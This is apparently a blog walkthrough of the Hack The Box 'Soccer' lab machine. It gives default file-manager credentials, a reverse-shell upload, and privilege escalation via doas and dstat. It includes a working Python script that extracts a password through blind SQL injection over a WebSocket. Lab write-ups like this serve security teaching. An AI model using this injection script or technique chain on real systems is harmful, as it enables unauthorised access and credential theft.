Enumeration

Nmap

Initial nmap scan revealed ports 22,80,9091 are open.

00 - nmap

WEB Enumeration

WEB requests was directed to soccer.htb so I added it to hosts file.

01 - hosts

The directory brute force revealed tiny folder.

02 - dirbuster

Inside there was a tiny file manager, which was configured with default credentails “admin:admin@123”. After logging in I learned the version of the tiny file manager.

03 - admin admin@123

Exploitation

Reverse Shell

I had write access to uploads folder, so I copied a php file to there and edited it. Then got a reverse shell as www-data.

04 - 0 copy the file

04 - copy the file

05 - revshell

Lateral Movement

Then tried many privilege escalation methods but got nothing. Later I checked /etc/hosts file and found out there was another subdomain.

06 - host file

SQL Injection

The new website had signup and sign-in function. After singing up, there was a check function. The check function was using web socket and it was vulnerable to sql injection.

08 - websocket

09 - sql injection

At first I tried manually but it was taking too long. So I wanted to use sqlmap. I used this proxy tool to send sqlmap request to websocket.

11 - sql proxy

12 - sqlmap

But SQLmap was using time base sqli and it was really taking too long. I learned database name, table name and column names from sqlmap then I created this custom script:

#!/usr/bin/env python3
import websocket
import json
import sys

# Target WebSocket endpoint
WS_URL = "ws://soc-player.soccer.htb:9091"

chars = "abcdefghijklmnopqrstuvwxyz0123456789"

def send_payload():
    try:
        ws = websocket.create_connection(WS_URL)
        print(f"[+] Connected to {WS_URL}")
        password = ""

        while True:
            found = False
            for i in chars:
                message = json.dumps({"id": payload(password + i)})
                print(f"[>] Sending: {message}")
                ws.send(message)
                response = ws.recv()
                print(f"[<] Response: {response}")

                if "Ticket Exists" in response:
                    password += i
                    print("[+] Password so far:", password)
                    found = True
                    break

            if not found:
                # No new character matched → stop
                break

        ws.close()
        return password

    except Exception as e:
        print(f"[!] Error: {e}")
        return None

def payload(prefix):
    return f"1 UNION SELECT email,password,username FROM accounts WHERE username = 'player' AND password LIKE '{prefix}%'-- -"

if __name__ == "__main__":
    result = send_payload()
    if result:
        print("\n[✓] Extracted password:", result)
    else:
        print("\n[!] Failed to extract password")

Running this revealed the password of the user “player”.

13 - script

Got The User

14 - user

Privilege Escalation

SUID Bit

Running SUID bit enumeration revealed the doas binary.

15 - doas

It was a binary similar to sudo. The manual page revealed some functionality and configuration.

16 - config file

Analyzing the configuration file revealed I can run dstat as root.

17 - dstat

Then checked GTFOBin page of dstat and applied the steps to get a root shell.

18 - gg

Pwned

The machine was fully compromised.

19 - done


<
Previous Post
Broker - Hack The Box
>
Next Post
Keeper - Hack The Box